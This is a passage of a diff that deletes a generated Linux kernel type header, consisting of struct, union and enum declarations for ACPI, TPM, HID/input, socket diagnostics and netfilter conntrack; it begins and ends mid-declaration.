acpi_gpe_notify_info *notify_list; -}; - -struct acpi_gpe_register_info; - -struct acpi_gpe_event_info { - union acpi_gpe_dispatch_info dispatch; - struct acpi_gpe_register_info *register_info; - u8 flags; - u8 gpe_number; - u8 runtime_count; - u8 disable_for_dispatch; -}; - -struct acpi_gpe_address { - u8 space_id; - u64 address; -}; - -struct acpi_gpe_register_info { - struct acpi_gpe_address status_address; - struct acpi_gpe_address enable_address; - u16 base_gpe_number; - u8 enable_for_wake; - u8 enable_for_run; - u8 mask_for_run; - u8 enable_mask; -}; - -struct acpi_gpe_xrupt_info; - -struct acpi_gpe_block_info { - struct acpi_namespace_node *node; - struct acpi_gpe_block_info *previous; - struct acpi_gpe_block_info *next; - struct acpi_gpe_xrupt_info *xrupt_block; - struct acpi_gpe_register_info *register_info; - struct acpi_gpe_event_info *event_info; - u64 address; - u32 register_count; - u16 gpe_count; - u16 block_base_number; - u8 space_id; - u8 initialized; -}; - -struct acpi_gpe_xrupt_info { - struct acpi_gpe_xrupt_info *previous; - struct acpi_gpe_xrupt_info *next; - struct acpi_gpe_block_info *gpe_block_list_head; - u32 interrupt_number; -}; - -typedef acpi_status (*acpi_gpe_callback)(struct acpi_gpe_xrupt_info *, struct acpi_gpe_block_info *, void *); - -struct acpi_common_state { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; -}; - -struct acpi_update_state { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - union acpi_operand_object *object; -}; - -struct acpi_pkg_state { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - u32 index; - union acpi_operand_object *source_object; - union acpi_operand_object *dest_object; - struct acpi_walk_state *walk_state; - void *this_target_obj; - u32 num_packages; -}; - -struct acpi_control_state { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - u16 opcode; - union acpi_parse_object *predicate_op; - u8 *aml_predicate_start; - u8 *package_end; - u64 loop_timeout; -}; - -union acpi_parse_value { - u64 integer; - u32 size; - char *string; - u8 *buffer; - char *name; - union acpi_parse_object *arg; -}; - -struct acpi_parse_obj_common { - union acpi_parse_object *parent; - u8 descriptor_type; - u8 flags; - u16 aml_opcode; - u8 *aml; - union acpi_parse_object *next; - struct acpi_namespace_node *node; - union acpi_parse_value value; - u8 arg_list_length; -}; - -struct acpi_parse_obj_named { - union acpi_parse_object *parent; - u8 descriptor_type; - u8 flags; - u16 aml_opcode; - u8 *aml; - union acpi_parse_object *next; - struct acpi_namespace_node *node; - union acpi_parse_value value; - u8 arg_list_length; - char *path; - u8 *data; - u32 length; - u32 name; -}; - -struct acpi_parse_obj_asl { - union acpi_parse_object *parent; - u8 descriptor_type; - u8 flags; - u16 aml_opcode; - u8 *aml; - union acpi_parse_object *next; - struct acpi_namespace_node *node; - union acpi_parse_value value; - u8 arg_list_length; - union acpi_parse_object *child; - union acpi_parse_object *parent_method; - char *filename; - u8 file_changed; - char *parent_filename; - char *external_name; - char *namepath; - char name_seg[4]; - u32 extra_value; - u32 column; - u32 line_number; - u32 logical_line_number; - u32 logical_byte_offset; - u32 end_line; - u32 end_logical_line; - u32 acpi_btype; - u32 aml_length; - u32 aml_subtree_length; - u32 final_aml_length; - u32 final_aml_offset; - u32 compile_flags; - u16 parse_opcode; - u8 aml_opcode_length; - u8 aml_pkg_len_bytes; - u8 extra; - char parse_op_name[20]; -}; - -union acpi_parse_object { - struct acpi_parse_obj_common common; - struct acpi_parse_obj_named named; - struct acpi_parse_obj_asl asl; -}; - -struct acpi_scope_state { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - struct acpi_namespace_node *node; -}; - -struct acpi_pscope_state { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - u32 arg_count; - union acpi_parse_object *op; - u8 *arg_end; - u8 *pkg_end; - u32 arg_list; -}; - -struct acpi_thread_state { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - u8 current_sync_level; - struct acpi_walk_state *walk_state_list; - union acpi_operand_object *acquired_mutex_list; - u64 thread_id; -}; - -struct acpi_result_values { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - union acpi_operand_object *obj_desc[8]; -}; - -struct acpi_global_notify_handler { - acpi_notify_handler handler; - void *context; -}; - -struct acpi_notify_info { - void *next; - u8 descriptor_type; - u8 flags; - u16 value; - u16 state; - u8 handler_list_id; - struct acpi_namespace_node *node; - union acpi_operand_object *handler_list_head; - struct acpi_global_notify_handler *global; -}; - -union acpi_generic_state { - struct acpi_common_state common; - struct acpi_control_state control; - struct acpi_update_state update; - struct acpi_scope_state scope; - struct acpi_pscope_state parse_scope; - struct acpi_pkg_state pkg; - struct acpi_thread_state thread; - struct acpi_result_values results; - struct acpi_notify_info notify; -}; - -struct acpi_opcode_info { - u32 parse_args; - u32 runtime_args; - u16 flags; - u8 object_type; - u8 class; - u8 type; -}; - -struct acpi_gpe_block_status_context { - struct acpi_gpe_register_info *gpe_skip_register_info; - u8 gpe_skip_mask; - u8 retval; -}; - -struct acpi_table_desc { - acpi_physical_address address; - struct acpi_table_header *pointer; - u32 length; - union acpi_name_union signature; - acpi_owner_id owner_id; - u8 flags; - u16 validation_count; -}; - -typedef u32 acpi_mutex_handle; - -struct acpi_table_list { - struct acpi_table_desc *tables; - u32 current_table_count; - u32 max_table_count; - u8 flags; -}; - -struct acpi_table_rsdp { - char signature[8]; - u8 checksum; - char oem_id[6]; - u8 revision; - u32 rsdt_physical_address; - u32 length; - u64 xsdt_physical_address; - u8 extended_checksum; - u8 reserved[3]; -} __attribute__((packed)); - -enum { - TTY_LOCK_NORMAL = 0, - TTY_LOCK_SLAVE = 1, -}; - -struct hwrng { - const char *name; - int (*init)(struct hwrng *); - void (*cleanup)(struct hwrng *); - int (*data_present)(struct hwrng *, int); - int (*data_read)(struct hwrng *, u32 *); - int (*read)(struct hwrng *, void *, size_t, bool); - long unsigned int priv; - short unsigned int quality; - struct list_head list; - struct kref ref; - struct completion cleanup_done; - struct completion dying; -}; - -enum hash_algo { - HASH_ALGO_MD4 = 0, - HASH_ALGO_MD5 = 1, - HASH_ALGO_SHA1 = 2, - HASH_ALGO_RIPE_MD_160 = 3, - HASH_ALGO_SHA256 = 4, - HASH_ALGO_SHA384 = 5, - HASH_ALGO_SHA512 = 6, - HASH_ALGO_SHA224 = 7, - HASH_ALGO_RIPE_MD_128 = 8, - HASH_ALGO_RIPE_MD_256 = 9, - HASH_ALGO_RIPE_MD_320 = 10, - HASH_ALGO_WP_256 = 11, - HASH_ALGO_WP_384 = 12, - HASH_ALGO_WP_512 = 13, - HASH_ALGO_TGR_128 = 14, - HASH_ALGO_TGR_160 = 15, - HASH_ALGO_TGR_192 = 16, - HASH_ALGO_SM3_256 = 17, - HASH_ALGO_STREEBOG_256 = 18, - HASH_ALGO_STREEBOG_512 = 19, - HASH_ALGO__LAST = 20, -}; - -struct tpm_bank_info { - u16 alg_id; - u16 digest_size; - u16 crypto_id; -}; - -struct tpm_chip; - -struct tpm_class_ops { - unsigned int flags; - const u8 req_complete_mask; - const u8 req_complete_val; - bool (*req_canceled)(struct tpm_chip *, u8); - int (*recv)(struct tpm_chip *, u8 *, size_t); - int (*send)(struct tpm_chip *, u8 *, size_t); - void (*cancel)(struct tpm_chip *); - u8 (*status)(struct tpm_chip *); - void (*update_timeouts)(struct tpm_chip *, long unsigned int *); - void (*update_durations)(struct tpm_chip *, long unsigned int *); - int (*go_idle)(struct tpm_chip *); - int (*cmd_ready)(struct tpm_chip *); - int (*request_locality)(struct tpm_chip *, int); - int (*relinquish_locality)(struct tpm_chip *, int); - void (*clk_enable)(struct tpm_chip *, bool); -}; - -struct tpm_bios_log { - void *bios_event_log; - void *bios_event_log_end; -}; - -struct tpm_chip_seqops { - struct tpm_chip *chip; - const struct seq_operations *seqops; -}; - -struct tpm_space { - u32 context_tbl[3]; - u8 *context_buf; - u32 session_tbl[3]; - u8 *session_buf; - u32 buf_size; -}; - -struct tpm_chip { - struct device dev; - struct device devs; - struct cdev cdev; - struct cdev cdevs; - struct rw_semaphore ops_sem; - const struct tpm_class_ops *ops; - struct tpm_bios_log log; - struct tpm_chip_seqops bin_log_seqops; - struct tpm_chip_seqops ascii_log_seqops; - unsigned int flags; - int dev_num; - long unsigned int is_open; - char hwrng_name[64]; - struct hwrng hwrng; - struct mutex tpm_mutex; - long unsigned int timeout_a; - long unsigned int timeout_b; - long unsigned int timeout_c; - long unsigned int timeout_d; - bool timeout_adjusted; - long unsigned int duration[4]; - bool duration_adjusted; - struct dentry *bios_dir[3]; - const struct attribute_group *groups[8]; - unsigned int groups_cnt; - u32 nr_allocated_banks; - struct tpm_bank_info *allocated_banks; - acpi_handle acpi_dev_handle; - char ppi_version[4]; - struct tpm_space work_space; - u32 last_cc; - u32 nr_commands; - u32 *cc_attrs_tbl; - int locality; -}; - -enum tpm_duration { - TPM_SHORT = 0, - TPM_MEDIUM = 1, - TPM_LONG = 2, - TPM_LONG_LONG = 3, - TPM_UNDEFINED = 4, - TPM_NUM_DURATIONS = 4, -}; - -struct file_priv { - struct tpm_chip *chip; - struct tpm_space *space; - struct mutex buffer_mutex; - struct timer_list user_read_timer; - struct work_struct timeout_work; - struct work_struct async_work; - wait_queue_head_t async_wait; - ssize_t response_length; - bool response_read; - bool command_enqueued; - u8 data_buffer[4096]; -}; - -struct tpmrm_priv { - struct file_priv priv; - struct tpm_space space; -}; - -struct input_id { - __u16 bustype; - __u16 vendor; - __u16 product; - __u16 version; -}; - -struct input_absinfo { - __s32 value; - __s32 minimum; - __s32 maximum; - __s32 fuzz; - __s32 flat; - __s32 resolution; -}; - -struct input_keymap_entry { - __u8 flags; - __u8 len; - __u16 index; - __u32 keycode; - __u8 scancode[32]; -}; - -struct ff_replay { - __u16 length; - __u16 delay; -}; - -struct ff_trigger { - __u16 button; - __u16 interval; -}; - -struct ff_envelope { - __u16 attack_length; - __u16 attack_level; - __u16 fade_length; - __u16 fade_level; -}; - -struct ff_constant_effect { - __s16 level; - struct ff_envelope envelope; -}; - -struct ff_ramp_effect { - __s16 start_level; - __s16 end_level; - struct ff_envelope envelope; -}; - -struct ff_condition_effect { - __u16 right_saturation; - __u16 left_saturation; - __s16 right_coeff; - __s16 left_coeff; - __u16 deadband; - __s16 center; -}; - -struct ff_periodic_effect { - __u16 waveform; - __u16 period; - __s16 magnitude; - __s16 offset; - __u16 phase; - struct ff_envelope envelope; - __u32 custom_len; - __s16 *custom_data; -}; - -struct ff_rumble_effect { - __u16 strong_magnitude; - __u16 weak_magnitude; -}; - -struct ff_effect { - __u16 type; - __s16 id; - __u16 direction; - struct ff_trigger trigger; - struct ff_replay replay; - union { - struct ff_constant_effect constant; - struct ff_ramp_effect ramp; - struct ff_periodic_effect periodic; - struct ff_condition_effect condition[2]; - struct ff_rumble_effect rumble; - } u; -}; - -struct semaphore { - raw_spinlock_t lock; - unsigned int count; - struct list_head wait_list; -}; - -struct hid_device_id { - __u16 bus; - __u16 group; - __u32 vendor; - __u32 product; - kernel_ulong_t driver_data; -}; - -struct input_device_id { - kernel_ulong_t flags; - __u16 bustype; - __u16 vendor; - __u16 product; - __u16 version; - kernel_ulong_t evbit[1]; - kernel_ulong_t keybit[12]; - kernel_ulong_t relbit[1]; - kernel_ulong_t absbit[1]; - kernel_ulong_t mscbit[1]; - kernel_ulong_t ledbit[1]; - kernel_ulong_t sndbit[1]; - kernel_ulong_t ffbit[2]; - kernel_ulong_t swbit[1]; - kernel_ulong_t propbit[1]; - kernel_ulong_t driver_info; -}; - -struct input_value { - __u16 type; - __u16 code; - __s32 value; -}; - -enum input_clock_type { - INPUT_CLK_REAL = 0, - INPUT_CLK_MONO = 1, - INPUT_CLK_BOOT = 2, - INPUT_CLK_MAX = 3, -}; - -struct ff_device; - -struct input_dev_poller; - -struct input_mt; - -struct input_handle; - -struct input_dev { - const char *name; - const char *phys; - const char *uniq; - struct input_id id; - long unsigned int propbit[1]; - long unsigned int evbit[1]; - long unsigned int keybit[12]; - long unsigned int relbit[1]; - long unsigned int absbit[1]; - long unsigned int mscbit[1]; - long unsigned int ledbit[1]; - long unsigned int sndbit[1]; - long unsigned int ffbit[2]; - long unsigned int swbit[1]; - unsigned int hint_events_per_packet; - unsigned int keycodemax; - unsigned int keycodesize; - void *keycode; - int (*setkeycode)(struct input_dev *, const struct input_keymap_entry *, unsigned int *); - int (*getkeycode)(struct input_dev *, struct input_keymap_entry *); - struct ff_device *ff; - struct input_dev_poller *poller; - unsigned int repeat_key; - struct timer_list timer; - int rep[2]; - struct input_mt *mt; - struct input_absinfo *absinfo; - long unsigned int key[12]; - long unsigned int led[1]; - long unsigned int snd[1]; - long unsigned int sw[1]; - int (*open)(struct input_dev *); - void (*close)(struct input_dev *); - int (*flush)(struct input_dev *, struct file *); - int (*event)(struct input_dev *, unsigned int, unsigned int, int); - struct input_handle *grab; - spinlock_t event_lock; - struct mutex mutex; - unsigned int users; - bool going_away; - struct device dev; - struct list_head h_list; - struct list_head node; - unsigned int num_vals; - unsigned int max_vals; - struct input_value *vals; - bool devres_managed; - ktime_t timestamp[3]; - bool inhibited; -}; - -struct ff_device { - int (*upload)(struct input_dev *, struct ff_effect *, struct ff_effect *); - int (*erase)(struct input_dev *, int); - int (*playback)(struct input_dev *, int, int); - void (*set_gain)(struct input_dev *, u16); - void (*set_autocenter)(struct input_dev *, u16); - void (*destroy)(struct ff_device *); - void *private; - long unsigned int ffbit[2]; - struct mutex mutex; - int max_effects; - struct ff_effect *effects; - struct file *effect_owners[0]; -}; - -struct input_handler; - -struct input_handle { - void *private; - int open; - const char *name; - struct input_dev *dev; - struct input_handler *handler; - struct list_head d_node; - struct list_head h_node; -}; - -struct input_handler { - void *private; - void (*event)(struct input_handle *, unsigned int, unsigned int, int); - void (*events)(struct input_handle *, const struct input_value *, unsigned int); - bool (*filter)(struct input_handle *, unsigned int, unsigned int, int); - bool (*match)(struct input_handler *, struct input_dev *); - int (*connect)(struct input_handler *, struct input_dev *, const struct input_device_id *); - void (*disconnect)(struct input_handle *); - void (*start)(struct input_handle *); - bool legacy_minors; - int minor; - const char *name; - const struct input_device_id *id_table; - struct list_head h_list; - struct list_head node; -}; - -enum hid_report_type { - HID_INPUT_REPORT = 0, - HID_OUTPUT_REPORT = 1, - HID_FEATURE_REPORT = 2, - HID_REPORT_TYPES = 3, -}; - -struct hid_collection { - int parent_idx; - unsigned int type; - unsigned int usage; - unsigned int level; -}; - -struct hid_usage { - unsigned int hid; - unsigned int collection_index; - unsigned int usage_index; - __s8 resolution_multiplier; - __s8 wheel_factor; - __u16 code; - __u8 type; - __s8 hat_min; - __s8 hat_max; - __s8 hat_dir; - __s16 wheel_accumulated; -}; - -struct hid_report; - -struct hid_input; - -struct hid_field { - unsigned int physical; - unsigned int logical; - unsigned int application; - struct hid_usage *usage; - unsigned int maxusage; - unsigned int flags; - unsigned int report_offset; - unsigned int report_size; - unsigned int report_count; - unsigned int report_type; - __s32 *value; - __s32 *new_value; - __s32 *usages_priorities; - __s32 logical_minimum; - __s32 logical_maximum; - __s32 physical_minimum; - __s32 physical_maximum; - __s32 unit_exponent; - unsigned int unit; - bool ignored; - struct hid_report *report; - unsigned int index; - struct hid_input *hidinput; - __u16 dpad; - unsigned int slot_idx; -}; - -struct hid_field_entry; - -struct hid_device; - -struct hid_report { - struct list_head list; - struct list_head hidinput_list; - struct list_head field_entry_list; - unsigned int id; - enum hid_report_type type; - unsigned int application; - struct hid_field *field[256]; - struct hid_field_entry *field_entries; - unsigned int maxfield; - unsigned int size; - struct hid_device *device; - bool tool_active; - unsigned int tool; -}; - -struct hid_input { - struct list_head list; - struct hid_report *report; - struct input_dev *input; - const char *name; - bool registered; - struct list_head reports; - unsigned int application; -}; - -struct hid_field_entry { - struct list_head list; - struct hid_field *field; - unsigned int index; - __s32 priority; -}; - -enum hid_type { - HID_TYPE_OTHER = 0, - HID_TYPE_USBMOUSE = 1, - HID_TYPE_USBNONE = 2, -}; - -struct hid_report_enum { - unsigned int numbered; - struct list_head report_list; - struct hid_report *report_id_hash[256]; -}; - -struct hid_driver; - -struct hid_ll_driver; - -struct hid_device { - __u8 *dev_rdesc; - unsigned int dev_rsize; - __u8 *rdesc; - unsigned int rsize; - struct hid_collection *collection; - unsigned int collection_size; - unsigned int maxcollection; - unsigned int maxapplication; - __u16 bus; - __u16 group; - __u32 vendor; - __u32 product; - __u32 version; - enum hid_type type; - unsigned int country; - struct hid_report_enum report_enum[3]; - struct work_struct led_work; - struct semaphore driver_input_lock; - struct device dev; - struct hid_driver *driver; - struct hid_ll_driver *ll_driver; - struct mutex ll_open_lock; - unsigned int ll_open_count; - long unsigned int status; - unsigned int claimed; - unsigned int quirks; - bool io_started; - struct list_head inputs; - void *hiddev; - void *hidraw; - char name[128]; - char phys[64]; - char uniq[64]; - void *driver_data; - int (*ff_init)(struct hid_device *); - int (*hiddev_connect)(struct hid_device *, unsigned int); - void (*hiddev_disconnect)(struct hid_device *); - void (*hiddev_hid_event)(struct hid_device *, struct hid_field *, struct hid_usage *, __s32); - void (*hiddev_report_event)(struct hid_device *, struct hid_report *); - short unsigned int debug; - struct dentry *debug_dir; - struct dentry *debug_rdesc; - struct dentry *debug_events; - struct list_head debug_list; - spinlock_t debug_list_lock; - wait_queue_head_t debug_wait; - unsigned int id; -}; - -struct hid_report_id; - -struct hid_usage_id; - -struct hid_driver { - char *name; - const struct hid_device_id *id_table; - struct list_head dyn_list; - spinlock_t dyn_lock; - bool (*match)(struct hid_device *, bool); - int (*probe)(struct hid_device *, const struct hid_device_id *); - void (*remove)(struct hid_device *); - const struct hid_report_id *report_table; - int (*raw_event)(struct hid_device *, struct hid_report *, u8 *, int); - const struct hid_usage_id *usage_table; - int (*event)(struct hid_device *, struct hid_field *, struct hid_usage *, __s32); - void (*report)(struct hid_device *, struct hid_report *); - __u8 * (*report_fixup)(struct hid_device *, __u8 *, unsigned int *); - int (*input_mapping)(struct hid_device *, struct hid_input *, struct hid_field *, struct hid_usage *, long unsigned int **, int *); - int (*input_mapped)(struct hid_device *, struct hid_input *, struct hid_field *, struct hid_usage *, long unsigned int **, int *); - int (*input_configured)(struct hid_device *, struct hid_input *); - void (*feature_mapping)(struct hid_device *, struct hid_field *, struct hid_usage *); - int (*suspend)(struct hid_device *, pm_message_t); - int (*resume)(struct hid_device *); - int (*reset_resume)(struct hid_device *); - struct device_driver driver; -}; - -struct hid_ll_driver { - int (*start)(struct hid_device *); - void (*stop)(struct hid_device *); - int (*open)(struct hid_device *); - void (*close)(struct hid_device *); - int (*power)(struct hid_device *, int); - int (*parse)(struct hid_device *); - void (*request)(struct hid_device *, struct hid_report *, int); - int (*wait)(struct hid_device *); - int (*raw_request)(struct hid_device *, unsigned char, __u8 *, size_t, unsigned char, int); - int (*output_report)(struct hid_device *, __u8 *, size_t); - int (*idle)(struct hid_device *, int, int, int); - bool (*may_wakeup)(struct hid_device *); -}; - -struct hid_report_id { - __u32 report_type; -}; - -struct hid_usage_id { - __u32 usage_hid; - __u32 usage_type; - __u32 usage_code; -}; - -enum sock_type { - SOCK_STREAM = 1, - SOCK_DGRAM = 2, - SOCK_RAW = 3, - SOCK_RDM = 4, - SOCK_SEQPACKET = 5, - SOCK_DCCP = 6, - SOCK_PACKET = 10, -}; - -enum { - IPPROTO_IP = 0, - IPPROTO_ICMP = 1, - IPPROTO_IGMP = 2, - IPPROTO_IPIP = 4, - IPPROTO_TCP = 6, - IPPROTO_EGP = 8, - IPPROTO_PUP = 12, - IPPROTO_UDP = 17, - IPPROTO_IDP = 22, - IPPROTO_TP = 29, - IPPROTO_DCCP = 33, - IPPROTO_IPV6 = 41, - IPPROTO_RSVP = 46, - IPPROTO_GRE = 47, - IPPROTO_ESP = 50, - IPPROTO_AH = 51, - IPPROTO_MTP = 92, - IPPROTO_BEETPH = 94, - IPPROTO_ENCAP = 98, - IPPROTO_PIM = 103, - IPPROTO_COMP = 108, - IPPROTO_L2TP = 115, - IPPROTO_SCTP = 132, - IPPROTO_UDPLITE = 136, - IPPROTO_MPLS = 137, - IPPROTO_ETHERNET = 143, - IPPROTO_RAW = 255, - IPPROTO_MPTCP = 262, - IPPROTO_MAX = 263, -}; - -struct netlink_kernel_cfg { - unsigned int groups; - unsigned int flags; - void (*input)(struct sk_buff *); - struct mutex *cb_mutex; - int (*bind)(struct net *, int); - void (*unbind)(struct net *, int); - bool (*compare)(struct net *, struct sock *); -}; - -struct pcpu_gen_cookie { - local_t nesting; - u64 last; -}; - -struct gen_cookie { - struct pcpu_gen_cookie *local; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - atomic64_t forward_last; - atomic64_t reverse_last; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum { - INET_DIAG_REQ_NONE = 0, - INET_DIAG_REQ_BYTECODE = 1, - INET_DIAG_REQ_SK_BPF_STORAGES = 2, - INET_DIAG_REQ_PROTOCOL = 3, - __INET_DIAG_REQ_MAX = 4, -}; - -struct sock_diag_req { - __u8 sdiag_family; - __u8 sdiag_protocol; -}; - -enum { - SK_MEMINFO_RMEM_ALLOC = 0, - SK_MEMINFO_RCVBUF = 1, - SK_MEMINFO_WMEM_ALLOC = 2, - SK_MEMINFO_SNDBUF = 3, - SK_MEMINFO_FWD_ALLOC = 4, - SK_MEMINFO_WMEM_QUEUED = 5, - SK_MEMINFO_OPTMEM = 6, - SK_MEMINFO_BACKLOG = 7, - SK_MEMINFO_DROPS = 8, - SK_MEMINFO_VARS = 9, -}; - -enum sknetlink_groups { - SKNLGRP_NONE = 0, - SKNLGRP_INET_TCP_DESTROY = 1, - SKNLGRP_INET_UDP_DESTROY = 2, - SKNLGRP_INET6_TCP_DESTROY = 3, - SKNLGRP_INET6_UDP_DESTROY = 4, - __SKNLGRP_MAX = 5, -}; - -struct sock_diag_handler { - __u8 family; - int (*dump)(struct sk_buff *, struct nlmsghdr *); - int (*get_info)(struct sk_buff *, struct sock *); - int (*destroy)(struct sk_buff *, struct nlmsghdr *); -}; - -struct broadcast_sk { - struct sock *sk; - struct work_struct work; -}; - -enum ip_conntrack_info { - IP_CT_ESTABLISHED = 0, - IP_CT_RELATED = 1, - IP_CT_NEW = 2, - IP_CT_IS_REPLY = 3, - IP_CT_ESTABLISHED_REPLY = 3, - IP_CT_RELATED_REPLY = 4, - IP_CT_NUMBER = 5, - IP_CT_UNTRACKED = 7, -}; - -struct nf_hook_state; - -typedef unsigned int nf_hookfn(void *, struct sk_buff *, const struct nf_hook_state *); - -struct nf_hook_entry { - nf_hookfn *hook; - void *priv; -}; - -struct nf_hook_entries { - u16 num_hook_entries; - struct nf_hook_entry hooks[0]; -}; - -struct nf_hook_state { - u8 hook; - u8 pf; - struct net_device *in; - struct net_device *out; - struct sock *sk; - struct net *net; - int (*okfn)(struct net *, struct sock *, struct sk_buff *); -}; - -struct nf_conntrack_net { - atomic_t count; - unsigned int expect_count; - unsigned int users4; - unsigned int users6; - unsigned int users_bridge; - struct ctl_table_header *sysctl_header; -}; - -enum nf_ct_ext_id { - NF_CT_EXT_HELPER = 0, - NF_CT_EXT_NAT = 1, - NF_CT_EXT_SEQADJ = 2, - NF_CT_EXT_ACCT = 3, - NF_CT_EXT_SYNPROXY = 4, - NF_CT_EXT_NUM = 5, -}; - -enum nf_ct_sysctl_index { - NF_SYSCTL_CT_MAX = 0, - NF_SYSCTL_CT_COUNT = 1, - NF_SYSCTL_CT_BUCKETS = 2, - NF_SYSCTL_CT_CHECKSUM = 3, - NF_SYSCTL_CT_LOG_INVALID = 4, - NF_SYSCTL_CT_EXPECT_MAX = 5, - NF_SYSCTL_CT_ACCT = 6, - NF_SYSCTL_CT_PROTO_TIMEOUT_GENERIC = 7, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_SYN_SENT = 8, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_SYN_RECV = 9, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_ESTABLISHED = 10, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_FIN_WAIT = 11, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_CLOSE_WAIT = 12, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_LAST_ACK = 13, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_TIME_WAIT = 14, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_CLOSE = 15, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_RETRANS = 16, - NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_UNACK = 17, - NF_SYSCTL_CT_PROTO_TCP_LOOSE = 18, - NF_SYSCTL_CT_PROTO_TCP_LIBERAL = 19, - NF_SYSCTL_CT_PROTO_TCP_IGNORE_INVALID_RST = 20, - NF_SYSCTL_CT_PROTO_TCP_MAX_RETRANS = 21, - NF_SYSCTL_CT_PROTO_TIMEOUT_UDP = 22, - NF_SYSCTL_CT_PROTO_TIMEOUT_UDP_STREAM = 23, - NF_SYSCTL_CT_PROTO_TIMEOUT_ICMP = 24, - NF_SYSCTL_CT_PROTO_TIMEOUT_ICMPV6 = 25, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_CLOSED = 26, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_COOKIE_WAIT = 27, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_COOKIE_ECHOED = 28, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_ESTABLISHED = 29, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_SHUTDOWN_SENT = 30, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_SHUTDOWN_RECD = 31, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_SHUTDOWN_ACK_SENT = 32, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_HEARTBEAT_SENT = 33, - NF_SYSCTL_CT_PROTO_TIMEOUT_SCTP_HEARTBEAT_ACKED = 34, - NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_REQUEST = 35, - NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_RESPOND = 36, - NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_PARTOPEN = 37, - NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_OPEN = 38, - NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_CLOSEREQ = 39, - NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_CLOSING = 40, - NF_SYSCTL_CT_PROTO_TIMEOUT_DCCP_TIMEWAIT = 41, - NF_SYSCTL_CT_PROTO_DCCP_LOOSE = 42, - NF_SYSCTL_CT_LWTUNNEL = 43, - __NF_SYSCTL_CT_LAST_SYSCTL = 44, -}; - -typedef u16 u_int16_t; - -typedef u32 u_int32_t; - -typedef u64 u_int64_t; - -enum ip_conntrack_status { - IPS_EXPECTED_BIT = 0, - IPS_EXPECTED = 1, - IPS_SEEN_REPLY_BIT = 1, - IPS_SEEN_REPLY = 2, - IPS_ASSURED_BIT = 2, - IPS_ASSURED = 4, - IPS_CONFIRMED_BIT = 3, - IPS_CONFIRMED = 8, - IPS_SRC_NAT_BIT = 4, - IPS_SRC_NAT = 16, - IPS_DST_NAT_BIT = 5, - IPS_DST_NAT = 32, - IPS_NAT_MASK = 48, - IPS_SEQ_ADJUST_BIT = 6, - IPS_SEQ_ADJUST = 64, - IPS_SRC_NAT_DONE_BIT = 7, - IPS_SRC_NAT_DONE = 128, - IPS_DST_NAT_DONE_BIT = 8, - IPS_DST_NAT_DONE = 256, - IPS_NAT_DONE_MASK = 384, - IPS_DYING_BIT = 9, - IPS_DYING = 512, - IPS_FIXED_TIMEOUT_BIT = 10, - IPS_FIXED_TIMEOUT = 1024, - IPS_TEMPLATE_BIT = 11, - IPS_TEMPLATE = 2048, - IPS_UNTRACKED_BIT = 12, - IPS_UNTRACKED = 4096, - IPS_NAT_CLASH_BIT = 12, - IPS_NAT_CLASH = 4096, - IPS_HELPER_BIT = 13, - IPS_HELPER = 8192, - IPS_OFFLOAD_BIT = 14, - IPS_OFFLOAD = 16384, - IPS_HW_OFFLOAD_BIT = 15, - IPS_HW_OFFLOAD = 32768, - IPS_UNCHANGEABLE_MASK = 56313, - __IPS_MAX_BIT = 16, -}; - -struct nf_conntrack { - refcount_t use; -}; - -struct in_addr { - __be32 s_addr; -}; - -union nf_inet_addr { - __u32 all[4]; - __be32 ip; - __be32 ip6[4]; - struct in_addr in; - struct in6_addr in6; -}; - -struct ip_ct_tcp_state { - u_int32_t td_end; - u_int32_t td_maxend; - u_int32_t td_maxwin; - u_int32_t td_maxack; - u_int8_t td_scale; - u_int8_t flags; -}; - -struct ip_ct_tcp { - struct ip_ct_tcp_state seen[2]; - u_int8_t state; - u_int8_t last_dir; - u_int8_t retrans; - u_int8_t last_index; - u_int32_t last_seq; - u_int32_t last_ack; - u_int32_t last_end; - u_int16_t last_win; - u_int8_t last_wscale; - u_int8_t last_flags; -}; - -union nf_conntrack_man_proto { - __be16 all; - struct { - __be16 port; - } tcp; - struct { - __be16 port; - } udp; - struct { - __be16 id; - } icmp; - struct { - __be16 port; - } dccp; - struct { - __be16 port; - } sctp; - struct { - __be16 key; - } gre; -}; - -struct nf_ct_dccp { - u_int8_t role[2]; - u_int8_t state; - u_int8_t last_pkt; - u_int8_t last_dir; - u_int64_t handshake_seq; -}; - -struct ip_ct_sctp { - enum sctp_conntrack state; - __be32 vtag[2]; - u8 last_dir; - u8 flags; -}; - -struct nf_conntrack_man { - union nf_inet_addr u3; - union nf_conntrack_man_proto u; - u_int16_t l3num; -}; - -struct nf_conntrack_tuple { - struct nf_conntrack_man src; - struct { - union 